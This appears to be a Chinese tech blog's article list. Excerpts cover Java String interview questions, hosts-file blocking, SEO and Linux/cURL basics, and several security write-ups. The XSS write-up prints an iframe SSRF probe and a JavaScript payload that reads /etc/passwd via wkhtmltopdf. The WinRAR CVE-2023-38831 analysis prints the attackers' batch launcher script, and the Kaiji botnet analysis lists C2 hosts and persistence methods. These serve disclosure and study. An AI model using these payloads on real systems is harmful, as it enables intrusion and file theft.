• Java String面试题汇总

    文章目录 Java中String是关键字吗? 为什么String是不可变的? 什么是字符串常量池? 什么是String intern()? 如何使用正则表达式查找匹配的字符串? 如何比较两个字符串? Java中的字符串是如何工作的? 如何检查回文字符串? 如何在字符串中删除或替换字符? 如何将字符串转换为小写或大写? 我们可以在’ switch ‘语句中使用String吗? 如何打印一个字符串的所有排列组合? 如何翻转字符串中的每个单词? 如何分割一个字符串? 为什么不应该使用字符串来存储密码? 字符串是线程安全的吗? 为什么String是HashMap键的最佳选择? String、StringBuffer和StringBuilder之间有什么区别? 如何连接多个字符串? 统计给定程序中的字符串对象数量 统计字符串中每个字符的出现次数? 在不使用 StringBuilder 或 StringBuffer 的情况下反转字符串? 总结 给定的Java String面试问题涵盖了字符串方法、字符串不可变性和内存泄漏问题,以及简单的示例和用例。我将尽力涵盖Java面试中最常问的String类相关问题。 Java中String是关键字吗? 不是的。String不是Java中的保留关键字。它是一种派生数据类型,也就是一个类。 public class StringExample { public static void main(String[] args) { Integer String = 10; System.out.println(String); //输出 10 } } 为什么String是不可变的? 第一个原因是性能改进。Java语言的开发旨在加快应用程序的开发速度,因为在之前的语言中它的速度不是那么快。JVM的设计者必须足够聪明,能够识别到实际应用程序将主要由字符串组成,这些字符串是标签、消息、配置、输出和其他形式的数据。看到这种过度使用,他们想象了字符串的不当使用可能有多危险。因此,他们提出了字符串池的概念。字符串池实际上是一组大部分是唯一的字符串。字符串池背后的基本思想是一旦创建了字符串,就可以重用它。这样,如果在代码中创建了一个特定的字符串20次,应用程序只有一个实例。 我认为第二个原因是安全性考虑。字符串是Java编程的各个方面中最常用的参数类型。无论是加载驱动程序还是打开URL连接,都需要将信息作为字符串参数传递。如果字符串不是不可变的,就会引发一系列安全性问题。 什么是字符串常量池? 字符串常量池是常规堆内存中的一块特定内存区域,用于存储这些字符串常量。在应用程序的生命周期中,字符串变量引用这些常量。 在Java中,我们可以通过多种方式创建字符串。例如,使用字符串字面值和使用new关键字。 String str1 = "abc"; String str2 = new String("abc"); 使用字符串字面值会导致JVM验证是否已经存在一个与字符串”abc”(相同的字符序列)。如果存在这样的字符串,JVM会将现有对象的引用赋给变量str;否则,将创建一个新的对象”abc”,并将其引用赋给变量str1。 当使用new关键字时,Java会在正常的堆内存中创建一个新的String对象。我们必须使用intern方法将字符串从堆内存移到字符串池中。 为了更好地利用内存并提高性能,建议使用字符串字面值来创建字符串。除非需要显式复制原始字符串,否则不需要使用构造函数,因为字符串是不可变的。 什么是String intern()? 当调用String的intern()方法时,如果字符串池已经包含与此字符串相同内容的字符串(由equals()方法确定),则返回池中的引用。否则,将此String对象添加到池中,并返回池中此新String对象的引用。 简单来说,字符串池化是将一个String对象从常规堆内存移动到字符串常量池中,并使用池中的对象引用的过程。 String str = new String("abc"); str.intern(); 对于intern()方法,对于任何两个字符串s1和s2,只有当s1.equals(s2)为true时,s1.intern() == s2.intern()才为true。 这意味着如果s1和s2是不同的字符串对象,并且具有相同的字符序列,那么在两者上调用intern()将导致由两个变量引用的单个字符串池字面值。 默认情况下,请记住所有字面字符串和具有字符串值的常量表达式都会被池化。 如何使用正则表达式查找匹配的字符串? 我们可以使用Pattern和Matcher API进行正则表达式匹配。String类提供了自己的matches()方法。我们应该直接使用matches()方法。该方法在函数定义内部也使用Pattern.matches()。 String str = new String("Welcome to panziye.com"); System.out.println(str.matches("(.*)ziye(.*)")); //Prints true System.out.println(Str.matches("(.*)www(.*)")); //Print false 如何比较两个字符串? 面试中的另一个受欢迎的领域。通常有两种比较对象的方法: 使用==运算符 使用equals()方法 ==运算符用于比较对象引用。因此,如果两个字符串对象引用字符串池中的相同字面值或堆中的相同字符串对象,则’s == t’将返回true,否则返回false。 equals()方法在String类中被重写,并验证String对象所持有的字符序列。换句话说,equals()方法比较字符串对象的值。如果它们存储相同的字符序列,’s.equals(t)’将返回true,否则返回false。 Java中的字符串是如何工作的? 与其他编程语言一样,Java中的字符串是字符序列。这更像是一个用于处理该字符序列的实用类。这个字符序列以char数组类型的以下变量维护: /** 值使用char 数组存储 */ private final char value[]; 各种字符串方法在不同的情况下使用以下变量来维护数组中的位置: /** 偏移量(offset)是存储中首个被使用的索引。*/ private final int offset; /** 计数(count)是字符串中字符的数量。 */ private final int count; 如何检查回文字符串? 如果一个字符串的值在反转后仍然相同,那么它就是回文字符串。要检查回文字符串,可以将字符串反转,然后将其与原始字符串进行比较。 如果原始字符串和反转后的字符串相同,那么给定的字符串就是回文字符串。 String originalString = "abcdcba"; StringBuilder strBuilder = new StringBuilder(originalString); String reverseString = strBuilder.reverse().toString(); boolean isPalindrame = originalString.equals(reverseString); System.out.println(isPalindrame); //true 如何在字符串中删除或替换字符? 要替换或删除字符,可以使用String.replace()或String.replaceAll()方法。 这两种方法都接受两个参数。第一个参数是要替换的字符,第二个参数是要放入字符串中的新字符。 如果想删除字符,可以在第二个参数中传递空字符。 String originalString = "howtodoinjava"; //Replace one character System.out.println( originalString.replace("h", "H") ); //Howtodoinjava //Replace all matching characters System.out.println( originalString.replaceAll("o", "O") ); //hOwtOdOinjava //Remove one character System.out.println( originalString.replace("h", "") ); //owtodoinjava //Remove all matching characters System.out.println( originalString.replace("o", "") ); //hwtdinjava 如何将字符串转换为小写或大写? 要将字符串转换为小写或大写,可以使用String.toLowerCase()和String.toUpperCase()方法。 String blogName = "PanZiYe.com"; System.out.println(blogName.toLowerCase()); //panziye.com System.out.println(blogName.toUpperCase()); //PANZIYE.COM 我们可以在’ switch ‘语句中使用String吗? 可以,自Java 7以来,我们可以在switch语句中使用String类。在Java 7之前,这是不可以的,我们必须使用if-else语句来实现类似的功能。 如何打印一个字符串的所有排列组合? 排列是将字符元素重新排列,以使每个排列在其他排列方面都是唯一的。例如,下面是字符串“ABC”的排列 – ABC、ACB、BAC、BCA、CBA 和 CAB。 长度为N的字符串有N!(N阶乘)个排列。 import java.util.HashSet; import java.util.Set; public class StringExample { public static void main(String[] args) { System.out.println(getPermutations("ABC")); //Prints //[ACB, BCA, ABC, CBA, BAC, CAB] } public static Set<String> getPermutations(String string) { //All permutations Set<String> permutationsSet = new HashSet<String>(); // invalid strings if (string == null || string.length() == 0) { permutationsSet.add(""); } else { //First character in String char initial = string.charAt(0); //Full string without first character String rem = string.substring(1); //Recursive call Set<String> wordSet = getPermutations(rem); for (String word : wordSet) { for (int i = 0; i <= word.length(); i++) { permutationsSet.add(charInsertAt(word, initial, i)); } } } return permutationsSet; } public static String charInsertAt(String str, char c, int position) { String begin = str.substring(0, position); String end = str.substring(position); return begin + c + end; } } 如何翻转字符串中的每个单词? 要分别翻转每个单词,首先要对字符串进行分词,将所有单词分隔成一个数组。然后,对每个单词应用翻转单词的逻辑,最后将所有单词连接起来。具体代码可以参考:反转字符串中的单词 如何分割一个字符串? 使用String.split()方法,该方法会根据给定的正则表达式来分割字符串。它也被称为根据分隔符获取字符串标记。 split()方法返回一个字符串数组,数组中的每个字符串都是一个独立的标记。 为什么不应该使用字符串来存储密码? 我们知道在Java中,字符串存储在常量池中。一旦一个字符串被创建在字符串池中,它会一直在池中存在,除非被垃圾回收。在这段时间内,任何恶意程序都可以访问物理内存中的内存区域并访问字符串数据。 如果我们将密码存储为一个字符串,它将在内存中保留的时间比所需的时间长,因为垃圾收集周期是不可预测的。这会使敏感的密码字符串容易受到黑客攻击和数据盗窃的威胁。 有人可能会提出一个观点,即在使用后将字符串设置为空。但是,这是不可行的,因为我们知道一旦一个字符串被创建,就无法操纵它,例如无法更改它的内容。字符串是不可变的。 但是,字符数组是可变的,我们可以在使用后覆盖它们的内容。因此,我们的应用程序应该使用char[]来存储密码文本,并在使用密码后替换数组内容为空白。 总之,使用char[]而不是字符串来存储密码是更安全的做法,因为它可以在使用后覆盖密码,减少了敏感信息被恶意访问的风险。这是更好的密码安全实践。 String password = "123456"; //不能使用字符串 char[] passwordChars = new char[4]; //从数据库等系统中获取密码。 //使用密码 for(char c : passwordChars) { c = ' '; } 字符串是线程安全的吗? 是的,字符串是线程安全的,因为它们是不可变的。 请记住,所有不可变的实例都是线程安全的,这是它们的设计特点。 为什么String是HashMap键的最佳选择? 在Java中,Map的键必须是不可变的,并且应该遵守equals()和hashCode()方法之间的约定。String类满足这两个条件。 此外,String类提供了许多有用的方法,用于比较、排序、分词或大小写转换。在对Map执行CRUD操作时,可以使用这些方法。 所有这些特点使得String类非常适合用作Map中的键,而不是创建我们自己的类。 String、StringBuffer和StringBuilder之间有什么区别? String类表示字符序列,并提供了处理字符的有用方法。String类的实例是不可变的。因此,每次我们使用String类进行字符串连接时,都会创建一个新对象,其中包含连接后的字符串。 StringBuilder类用于以更节省内存的方式执行字符串连接操作。它在内部维护char[],只在这个数组中操作内容。当我们在执行所有操作后需要获取完整的连接字符串时,它会使用存储的字符数组创建一个新的String。 StringBuffer与StringBuilder类非常相似,唯一的区别是它是线程安全的,它的所有方法都是同步的。 如何连接多个字符串? 根据是否需要线程安全,使用StringBuffer或StringBuilder类。在这两个类中,使用append()方法来连接字符串。 统计给定程序中的字符串对象数量 String s1 = "panziye.com"; String s2 = "panziye.com"; String s3 = new String("panziye.com"); 上面的代码将创建2个对象。 第一条语句将在字符串池中创建第一个字符串字面量。 第二条语句不会创建任何新对象,s2将引用与s1相同的字符串常量。 第三条语句将在堆内存中创建一个新的字符串对象。 统计字符串中每个字符的出现次数? 要找出给定字符串中每个字符的出现次数,我们使用了HashMap,其中字符作为键,其出现次数作为值。 每次字符出现新的次数时,我们将增加该字符的计数值。代码实现可以参考《Java中查找字符串中的重复字符》 在不使用 StringBuilder 或 StringBuffer 的情况下反转字符串? 反转字符串的最佳方法是使用 StringBuffer.reverse() 和 StringBuilder.reverse() 方法。尽管如此,面试官可能会要求您编写自己的程序,以检查您的技能水平。 请使用下面给出的基于递归的示例来反转字符串。 该程序从字符串中取出第一个字符,并将其放置在字符串的最后位置。它使用这种替换方式来反转字符串中的所有字符,直到整个字符串被反转。 具体代码实现可以参考:《基于递归的示例来反转字符串》 总结 以上就是我认为面试时经常被问到的关于String类问题,希望对你的面试有帮助。如果你知道更多关于Java String面试题问题,可以留言。 ...

    2023-09-16 125
  • 如何使用hBlock提升你的网络和隐私安全

    关于hBlock hBlock是一款针对用户网络安全和隐私安全的保护工具,该工具可以通过屏蔽广告、屏蔽应用程序跟踪和恶意软件域名来保护你的信息安全。 hBlock是一个符合POSIX的Shell脚本,它可以从多个来源获取提供广告、跟踪脚本和恶意软件的域名列表,并创建一个hosts文件和其他格式,以防止你的系统跟它们建立连接。 需要注意的是,hBlock在默认情况下会替换系统的hosts文件,如果有要保留的条目,请考虑先进行备份。 支持的源 数据源 主地址 镜像 adaway.org URL URL AdBlock NoCoin List URL URL AdGuard - Simplified URL URL disconnect.me - Ad URL URL disconnect.me - Malvertising URL URL disconnect.me - Malware URL URL disconnect.me - Tracking URL URL ETH PhishingDetect URL URL FadeMind - add.2o7Net URL URL FadeMind - add.Dead URL URL FadeMind - add.Risk URL URL FadeMind - add.Spam URL URL KADhosts URL URL malwaredomainlist.com URL URL malwaredomains.com - Immortal domains URL URL malwaredomains.com - Just domains URL URL matomo.org - Spammers URL URL mitchellkrogza - Badd-Boyz-Hosts URL URL pgl.yoyo.org URL URL ransomwaretracker.abuse.ch URL URL someonewhocares.org URL URL spam404.com URL URL StevenBlack URL URL winhelp2002.mvps.org URL URL ZeroDot1 - CoinBlockerLists URL URL zeustracker.abuse.ch URL URL   工具安装 hBlock支持在各种软件包管理器中安装和使用,具体请查看【最新列表】。除此之外,广大研究人员也可以通过执行下列命令将该项目最新版本的代码克隆至本地: git clone https://github.com/hectorm/hblock.git 如果你想手动执行工具安装的话,也可以执行下列命令: curl -o /tmp/hblock 'https://raw.githubusercontent.com/hectorm/hblock/v3.4.2/hblock' \   && echo 'a7d748b69db9f94932333a5b5f0c986dd60a39fdf4fe675ad58364fea59c74b4  /tmp/hblock' | shasum -c \     && sudo mv /tmp/hblock /usr/local/bin/hblock \     && sudo chown 0:0 /usr/local/bin/hblock \     && sudo chmod 755 /usr/local/bin/hblock 我们也可以直接使用NPX在不需要安装的情况下运行hBlock: npx hblock 工具使用 脚本参数 工具支持使用各种选项参数来控制工具的任务执行: Usage: hblock [options...]      -O, --output FILE            Hosts 文件路径(默认:/etc/hosts)    -R, --redirection IP           屏蔽了列表中所有条目的目的IP地址                                (默认:0.0.0.0)    -H, --header HEADER          Hosts文件头部需要引入的内容,你可以使用其他命令的输出作为该参数的数据,例如"$(cat header.txt)"    -S, --sources URLS           用于生成屏蔽列表的数据源,每个URL用空格分隔    -W, --whitelist ENTRIES       需要从屏蔽列表中移除的条目    -B, --blacklist ENTRIES        需要添加到屏蔽列表中的条目,每个域名用空格分隔    -b, --backup [DIRECTORY]     设置时间戳备份 (默认:输出文件目录)    -l, --lenient                   针对数据源进行IP地址匹配                                (默认: 0.0.0.0, 127.0.0.1 或none)    -i, --ignore-download-error   发生下载错误时继续执行任务    -c, --color auto|true|false     颜色高亮输出(默认:auto)    -q, --quiet                   禁用非错误消息    -v, --version                 显示工具版本信息和退出    -h, --help                   显示工具帮助信息和退出 保留内容 该脚本会替换掉你系统中的hosts文件,如果你想要恢复其中的部分内容,可以直接使用下列数据结构对要恢复的内容进行“封装”: # <custom>     ...   </custom> 临时禁用hBlock 有的时候你可能需要临时禁用hBlock,最简单的方式就是快速生成一个不包含任何屏蔽域名的hosts文件,命令如下: hblock -S none -D none 工具使用演示 演示视频:【点我观看】 许可证协议 本项目的开发与发布遵循MIT开源许可证协议。 项目地址 hBlock:【GitHub传送门】 参考资料 https://en.wikipedia.org/wiki/Hosts_(file) https://hblock.molinero.dev/ https://github.com/hectorm/hmirror ...

    2023-09-08 165
  • 绕过检测将恶意Word文件嵌入到PDF文件中

    日本的计算机应急响应团队JPCERT分享了其检测到的一种新的攻击技术。2023年7月,JPCERT观察到该攻击技术并将之命名为“MalDoc in PDF”,该技术通过将恶意Word文件嵌入到PDF文件中来绕过检测。         JPCERT采样的恶意文件是一个多语言文件,多语言文件指包含多种不同文件格式的文件,可以根据打开它们的应用程序解释和执行多种文件类型。在本例中,大多数扫描引擎和工具会将其识别为PDF,但办公应用程序可以将其作为常规的Word文档(.doc)打开。           多语言文件在一种格式中可能看似无害,而在另一种格式中则可能隐藏了恶意代码,因此黑客通常使用这类文件来逃避检测或混淆分析工具。在这种情况下,该PDF文档包含一个带有VBS宏的Word文档,如果在Microsoft Office中将之作为.doc文件打开,则会下载并安装一个MSI恶意软件文件。         “MalDoc in PDF”作为攻击手段的主要优势是能够逃避传统PDF分析工具(如“pdfid”)或其他只检查文件外层(即合法的PDF结构)的自动化分析工具的检测。但另外一些分析工具(如“OLEVBA”)仍然可以检测到多语言文件中隐藏的恶意内容。JPCERT指出,多层次的防御和丰富的检测集能够有效对抗这种威胁。           JPCERT提醒道,虽说本文描述的技术无法绕过禁用Word宏自动执行的设置,但由于这些文件被识别为PDF文件,现有的沙箱或杀毒软件可能无法检测到它。所以假如正在使用一些沙箱、工具等进行自动化恶意软件分析,需要特别注意这一点。   </p> 原文出自:https://zhuanlan.kanxue.com/article-24259.htm 发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文...

    2023-09-03 301
  • 断剑重铸?Kaiji僵尸网络正在重新构建

    概述 近日深信服威胁情报研究团队捕获到Kaiji僵尸网络的最新变种。该病毒最早在2020年出现,使用多种危害较高的漏洞发起攻击,试图感染服务器和物联网设备,能够发起分布式拒绝服务(DDoS)攻击。与其他IoT僵尸网络不同的是,Kaiji并没有从其他(开源或黑市论坛获取)成熟的恶意软件家族中直接套用攻击代码。 Kaiji僵尸网络病毒在最新的版本中发生了非常大的改动,采用最新的Golang1.18版本进行病毒程序编写(老版本采用Golang1.15版本),大大增加了安全人员分析和调试该病毒的难度,同时也进一步证实了越来越多的病毒开发者使用Golang语言的趋势。 Kaiji僵尸网络相对老版本代码被重构,函数功能更加聚焦,函数名不再采用中式拼音命名。最新的版本驻留功能非常强大,增加了多种持久化手段,但是传播模块相对较弱,这里猜测一下,作者正在逐渐更新功能模块,该病毒很可能会随着时间的推移进一步变得更加复杂,未来Kaiji或许会成为一款强大的僵尸网络。 Kaiji僵尸网络的整体攻击流程如下   情报分析 捕获的Kaiji僵尸网络主要使用多种高危RCE漏洞(GitLab未授权访问漏洞(CVE-2021-22205)和Atlassian Confluence OGNL注入漏洞(CVE-2021-26084))利用作为初始攻击。一旦病毒入侵了服务器或物联网设备,Kaiji僵尸网络就可以在其团伙的指挥下发动DDoS攻击。 当前版本的Kaiji持久化模块非常强大,使用超过8种驻留手段进行持久化。Kaiji僵尸网络还会窃取本地SSH密钥,并进一步发起SSH爆破攻击以感染互联网上其他暴露的设备。 Kaiji运行后,若检测自身文件名为dir、find、ls、lsof、netstat、ps、ss之一,则会伪装执行相应命令,复制自身到/tmp/seeintlog后运行。随后会将自身复制到/etc/id.services.conf: 生成shell脚本/etc/32678(传播模块为32679),定时执行/etc/id.services.conf: /etc/id.services.conf运行后,会创建协程,执行main_Link、main_Watchdog、main_Initetc、main_addtime、main_Killcpu。 通信模块[main_Link函数] 通信模块执行时,与C2服务器103.138.80.90:1111、dark1998.f3322.org:8080、156.96.156.105:8080进行通信,发送上线信息后,由main_receive函数等待接收并执行ipbegin、ipend、finish、unload、shell、reverse、remarks、http、ipspoof、tcp、udp、syn、tap等命令,包含执行shell命令、卸载自身、发动DDoS攻击等功能。 传播模块[main_Sshboom函数] 在老版本的Kaiji僵尸网络会窃取本地SSH密钥,进一步发起SSH爆破攻击,爆破成功后会下载执行相应CPU架构的驻留模块,例如:103.138.80.90:808/808/linux_amd64、linux_arm64、linux_mips。最新版本的Kaiji僵尸网络缺少传播模块功能,这里猜测作者正在逐一优化功能模块。 持久化模块[main_Initetc函数] 通过修改/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件实现自启动 利用chkconfig工具添加linux_kill服务,实现自启动 注册linux.service 安装SELinux策略模块 修改/etc/profile.d/bash_config.sh复制自身到/usr/lib/libdlrpcld.so添加定时任务,每隔一分钟执行/.img 替换dir、find、ls、lsof、netstat、ps、ss七个工具 尝试将自身进程名伪装为ksoftirqd/0   小结 Kaiji僵尸网络作者采用最新的Golang1.18版本重构,大幅更新持久化模块,整体复杂度也相比老版本明显增加。可以发现Kaiji正处于前中期发展的僵尸网络,未来作者可能在攻击模块和横向传播模块上进行更新迭代,从而导致Kaiji进一步变得复杂。 此外,鉴于Golang语言的跨平台等特点,近年来将其作为编程语言编码的恶意软件数量急剧增加,Kaiji僵尸网络也进一步证实了使用Golang语言开发恶意软件已成为一种趋势。 参考链接 https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ ...

    2023-09-03 279
  • 网站快速提升百度权重的4个方法

    在互联网上,网站的权重和排名很大程度上决定了它的曝光率和流量。如果你是一个新手站长,或者你的网站权重不高,那么接下来的这篇文章将会为你提供一些实用的技巧,帮助你在三个月内提升网站权重到5。 1. 优化关键词 首先,你需要找到一些与你网站内容相关的高搜索量、低竞争的关键词。你可以使用一些关键词研究工具,如Google关键词规划师,来帮助你找到这些关键词。然后,你需要在你的网站上合理地布局这些关键词,包括在标题、描述、URL和内容中。但是,一定要注意避免过度优化,否则可能会被搜索引擎视为作弊。 2. 提高网站质量 除了关键词之外,网站的质量也是影响权重的一个重要因素。这包括网站的加载速度、用户体验、移动友好性等。你可以通过使用CDN、优化图片大小、减少HTTP请求等方式来提高网站的加载速度。同时,你也需要确保你的网站易于导航,无论用户使用的是电脑还是手机。 3. 建立高质量的外部链接 外链是另一个影响网站权重的重要因素。你可以通过写高质量的原创内容来吸引其他网站的链接。同时,你也可以参与一些行业论坛或社交媒体平台,分享你的知识和观点,从而吸引更多的外链。但是,记住不要过度追求外链的数量,质量才是最重要的。 4. 持续更新和优化 最后,持续更新和优化你的网站是非常重要的。你需要定期发布新的内容,以保持用户的访问量和搜索引擎的索引。同时,你也需要根据用户的反馈和搜索引擎的算法变化,不断调整和优化你的网站。...

    2023-09-02 307
  • Linux系统如何创建用户并为其设置密码

    根据下列要求创建用户及组账号: 1、名为admins的组 2、用户harry,其附属组为admins 3、用户natasha,其附属组还属于admins 4、用户alice,没有可交互的登录Shell,且不属于admins组 5、harry、natasha、alice的密码都应该是redhat [root@bunian ~]# groupadd admins #创建admins组 [root@bunian ~]# useradd -G admins harry #创建用户harry并设置其附属组为admins [root@bunian ~]# useradd -G admins natasha #创建用户natasha并设置其附属组为admins [root@bunian ~]# useradd -s /sbin/nologin alice #创建用户alice,设置不可交互的登录shell,不为其指定admins组 要求5的命令如下 [root@bunian ~]# echo redhat |passwd --stdin harry #为harry设置密码为redhat Changing password for user harry. passwd: all authentication tokens updated successfully. [root@bunian ~]# echo redhat |passwd --stdin natasha #为natasha设置密码为redhat Changing password for user natasha. passwd: all authentication tokens updated successfully. [root@bunian ~]# echo redhat |passwd --stdin alice #为alice设置密码为redhat Changing password for user alice. passwd: all authentication tokens updated successfully. </div> ...

    2023-09-02 270
  • 在Linux中如何将cURL输出保存到文件?

    当你需要将cURL的输出保存到文件时,Linux提供了几种不同的方法。 cURL是一个功能强大的命令行工具,用于在网络上传输数据,通常用于HTTP请求。 在本文中,我们将探讨如何使用cURL将其输出保存到文件,以及一些附加的选项和技巧。 安装cURL 在介绍如何使用cURL将输出保存到文件之前,确保已安装cURL是非常关键的。下面是如何安装cURL的指南,具体取决于您所使用的Linux发行版: Ubuntu/Debian sudo apt install curl Fedora/RHEL sudo dnf install curl Arch Linux sudo pacman -S curl 使用重定向操作符 最简单的方法是使用重定向操作符>或>>来将cURL的输出保存到文件中。>将覆盖文件内容,而>>将追加到文件末尾。 curl -o output.txt URL 这将下载URL的内容并将其保存到名为output.txt的文件中。如果output.txt不存在,它将被创建;如果已经存在,它将被覆盖。 curl -o output.txt URL 这将下载URL的内容并将其追加到名为output.txt的文件末尾。 例如,我们将访问百度的域名: curl -o output.txt https://www.baidu.com 使用-c选项保存Cookie 有时,你可能需要保存cURL请求的Cookie信息。你可以使用-c选项将Cookie保存到一个文件中,然后使用-b选项加载Cookie信息。 curl -c cookies.txt URL 这将保存从URL获取的Cookie信息到名为cookies.txt的文件中。然后,你可以使用-b选项来加载Cookie信息: curl -b cookies.txt URL 例如,我们将访问百度的域名: curl -b cookies.txt https://www.baidu.com 保存HTTP头信息 如果你想保存HTTP响应头信息,可以使用-i选项将它们保存到文件中: curl -i -o output.txt URL 这将把HTTP响应头信息保存到output.txt中。 例如,我们将访问百度的域名: curl -i -o output.txt https://www.baidu.com 同时保存输出和错误信息 有时,你可能希望将cURL的输出和错误信息保存到不同的文件中。你可以使用2>操作符来将错误信息重定向到一个文件: curl -o output.txt URL 2> error.txt 这将下载URL的内容并将正常输出保存到output.txt,将错误信息保存到error.txt。 保存到特定目录 如果你想将文件保存到特定目录,可以在文件名中包含目录路径: curl -o /path/to/directory/output.txt URL 这将下载URL的内容并将其保存到/path/to/directory/目录下的output.txt文件中。 例如,我们将访问百度的域名,并将结果保存至/tmp/test/baidu/output.txt: curl -o /tmp/test/baidu/output.txt https://www.baidu.com 注意:在保存至特定目录,一定要先保证该目录存在! 使用-w选项自定义输出格式 使用-w选项,你可以自定义cURL的输出格式。例如,你可以只保存响应的HTTP状态码: curl -o output.txt -w "%{http_code}" URL 这将下载URL的内容并将HTTP状态码保存到output.txt中。 例如,我们将访问百度的域名: curl -o output.txt -w "%{http_code}" https://www.baidu.com 使用 cURL 命令保存多个文件 -o选项可以用于为每个链接指定一个输出文件名,这对于批量下载文件非常方便。 以下是示例用法: curl https://link-1.com https://link-2.com https://link-3.com -o File1 -o File2 -o File3 在这个示例中,cURL会从三个不同的链接下载文件,并将它们分别保存为File1、File2和File3。 这对于下载多个文件非常有用,特别是在需要自动化下载任务时。 例如: curl https://www.baidu.com https://www.baidu.com https://www.baidu.com -o File1 -o File2 -o File3 总结 这些是在Linux中使用cURL将输出保存到文件的一些常见方法和技巧。 你可以根据你的需求选择最合适的方法,希望这篇文章对你有所帮助! 如果你有任何问题或需要更多信息,请随时提问。 ...

    2023-09-02 271
  • 记一次从xss到任意文件读取

    0x00 前言 xss一直是一种非常常见且具有威胁性的攻击方式。然而,除了可能导致用户受到恶意脚本的攻击外,xss在特定条件下还会造成ssrf和文件读取。 本文主要讲述在一次漏洞挖掘过程中从xss到文件读取的过程,以及其造成的成因。   0x01 漏洞详细 1. XSS 漏洞所在的是一个可以在线编辑简历并导出的一个网站。 首先注册账号后进去,任意选一个模板在线编辑,在编辑简历时插入payload测试 发现被转义了,我们手动修改回去 刷新简历可以看到成功弹窗,证明存在存储型xss 然后使用<h1>标签测试,可以发现h1标签也会被解析 然后我们发现,网站有一个功能可以把简历转成pdf并下载,而在线编辑的是html格式,而且这一转换过程是在后端完成,并且导出的pdf中标签依然是被解析的,如下图所示,导出的pdf中上方的字体也明显变大,说明h1标签被解析 2. SSRF 通过过滤网络请求我们发现这样一个数据包,它将html及里面包含的js代码会发送给后端,后端可能通过渲染html代码从而生成pdf供用户下载   </p> 那后端是如何将html渲染成pdf,执行html中的js呢?   一般可以通过获取后端解析的组件及版本来获取更多信息,从下载的pdf中,可以文件的头部信息可以获取创建者或者pdf文件信息   </p> 可以发现后端使用的wkhtmltopdf组件   wkhtmltopdf官方文档: https://wkhtmltopdf.org/index.html 在他的使用文档中发现其使用 Qt WebKit 浏览器引擎将html渲染成pdf,既然是通过浏览器渲染的,那html中的所有标签也会被浏览器所执行。   所以我们使用 iframe 标签尝试读取内网资源   <iframe src="http://127.0.0.1" width="500" height="100">   </p> 可以看到虽然是403,但是确实是能读取成功的。   </p>   3. 任意文件读取 我们尝试是否能通过请求file协议读取文件   javascript 将在服务器端执行,让我们尝试通过注入以下 javascript 从文件系统中获取文件,然后构造payload进行文件的读取:                 <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script> 通过XMLHttpRequest发起请求,使用file协议读取本地文件,然后document.write将请求的结果覆盖原来html的内容。   </p> 访问pdf,成功读取到文件   </p> 0x03 漏洞成因及修复 所里这里有一个疑问,为什么js会导致本地任意文件读取,如果真是这样的话那我们每个用户在浏览有js的网页时都会造成本地信息泄露?   </p> 其实我们在使用浏览器访问网页并加载js时,浏览器有一套安全机制,使用XMLHttpRequest对象读取本地文件在Web浏览器中是受限的,因为出于安全考虑,浏览器限制了通过XMLHttpRequest对象直接访问本地文件系统。   </p> 如上图所致直接在浏览器执行这段payload会被提示 Not allowed to load local resource   </p>   </p> 前面我们提到后端将html转换为pdf的组件是 wkhtmltopdf,他使用无头运行的Qt WebKit浏览器引擎,但是浏览器默认参数是使用 --enable-local-file-access,即允许访问本地文件,这就是导致可以使用 file 协议进行任意文件的问题。       --disable-local-file-access 不允许一个本地文件加载其他的本地文件,使用命令行参数 --allow 指定的目录除外。--enable-local-file-access 与--disable-local-file-access相反(这是默认设置)--allow 允许加载指定文件夹中的一个或多个文件 同时wkhtmltopdf官方文档中也说明了不要将 wkhtmltopdf 与任何不受信任的 HTML 一起使用   </p> 即使使用了 --disable-local-file-access,攻击者也可以利用预构建二进制文件中的 CVE 的攻击者可能能够绕过此设置。     文章来源:奇安信攻防社区(Duck)原文地址:https://forum.butian.net/share/2409...

    2023-09-01 165
  • WinRAR再爆0 day漏洞

    WinRAR再爆0 day漏洞,已被利用超过4个月。  Winrar是一款免费的主流压缩文件解压软件,支持绝大部分压缩文件格式的解压,全球用户量超过5亿。Group-IB研究人员在分析DarkMe恶意软件时发现WinRAR在处理ZIP文件格式时的一个漏洞,漏洞CVE编号为CVE-2023-38831。攻击者利用该漏洞可以创建欺骗性扩展的诱饵文件来隐藏恶意脚本,即将恶意脚本隐藏在伪装为.jpg、.txt和其他文件格式的压缩文件中,并窃取用户加密货币账户。 研究人员在分析DarkMe恶意软件时发现了一些可疑的ZIP文件。Group-IB在8个加密货币交易的主流论坛上发现了这些恶意ZIP文件,如图1所示: 图1. 交易论坛发布的帖子 CVE-2023-38831漏洞序列图如图2所示: 图2. CVE-2023-38831漏洞序列图 所有压缩文件都是用同一方法创建的,结构相同,包括一个诱饵文件和一个包含恶意文件和未使用文件的文件夹。当用户打开恶意压缩文件后,受害者机会看到一个图像文件和一个相同文件名的文件夹,如图3所示。 图3. 恶意zip文件示例 如果受害者打开伪装为图像的诱饵文件,恶意脚本就会执行攻击的下一阶段,如图4所示: 图4. 攻击流程图 脚本的主要作用是进入攻击的下一阶段,这是通过运行最小化窗口来完成的。然后搜索两个特定文件“Screenshot_05-04-2023.jpg”和 “Images.ico”。JPG文件是受害者打开的图像,“Images.ico”是用来提取和启动新文件的SFX CAB压缩文件。恶意脚本示例如下: @echo off if not DEFINED IS_MINIMIZED   set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit   cd %TEMP%   for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do     for /F "delims=" %%G in ('dir /b /s "Images.ico"') do       WMIC process call create "%%~G" && "%%~K" && cd %CD% && exit Exit 为了解漏洞工作原理,研究人员创建了2个与发现的恶意压缩文件结构相同的压缩文件。两个文件都包含图像文件,其中一个压缩文件中还包含一个存储脚本的内部文件夹,可以触发消息展示框。然后,研究人员修改了其中一个文件使其与恶意压缩文件一样。然后,比较WinRAR在解压不同压缩文件时的区别。 研究人员主要想确定在打开解压文件时会在%TEMP%/%RARTMPDIR%文件夹中创建什么文件。在原始的zip文件中,只会创建image.jpg文件。在恶意文件zip文件中,其中的文件夹内容也会被提取。 图5. 不同zip文件解压比较 